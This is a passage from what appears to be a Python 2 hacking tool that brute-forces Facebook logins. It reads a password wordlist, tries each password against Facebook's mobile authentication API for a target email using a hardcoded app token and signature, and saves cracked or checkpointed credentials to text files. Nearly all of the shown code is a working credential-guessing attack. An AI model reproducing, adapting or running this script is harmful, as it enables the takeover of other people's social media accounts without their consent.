\xe2\x97\x8f\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x97\x84\xe2\x96\xba\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x97\x8f' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mTotal\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mTry \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mFounded.' print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() elif 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecekpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mFounded.' print '\x1b[1;36;40m \xe2\x97\x8f\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x97\x84\xe2\x96\xba\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x97\x8f' print '\x1b[1;91m[!] \x1b[1;93mAccount Is On Checkpoint' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;99mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;99mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Connection Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File not found...' print "\n\x1b[1;91m[!] \x1b[1;92mLooks like you don't have a wordlist" super() if __name__ == '__main__': login()